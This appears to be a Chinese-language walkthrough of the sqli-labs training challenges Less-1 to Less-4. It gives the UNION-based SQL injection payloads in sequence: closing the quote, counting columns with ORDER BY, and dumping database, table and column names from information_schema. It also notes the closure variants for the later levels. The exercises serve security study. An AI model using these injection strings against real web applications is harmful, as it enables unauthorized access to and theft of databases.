一.less-1
进入第一关先输入一个id的传参输入?id=1
按照正常的注入思维首先判断它有没有把我们找个?id=1,拼接到SQL语句中并且当作SQL代码进行执行,这个时候判断注入点输入?id=1 and 1=1和?id=1 and 1=2我们发现没有变化 字符型
尝试闭合发现?id=1'闭合
用--+注释
查找他当前的字段数?id=1 'order by 1-- q 依次输入到order by 4出现错误所以有3列
那就说明这个地方存在于三个字段,后面判断显存位使用联合查询union select 1,2,3(判断出三个就写三个,123没有任何含义11,22,33都可以)
找个显示的2,3就是我们显示位的意思我们更换成database(),显示其数据库名
判断表名?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
查询emails数据?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- +(改变limit 2,1 进行查询)
判断列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'%20 -- +
二.less-2
三.less-3
四.less-4
这三关和第一关都一样只是闭合方式不同第二关为数字型
第三关闭合为?id=1')
第四关闭合为?id=1")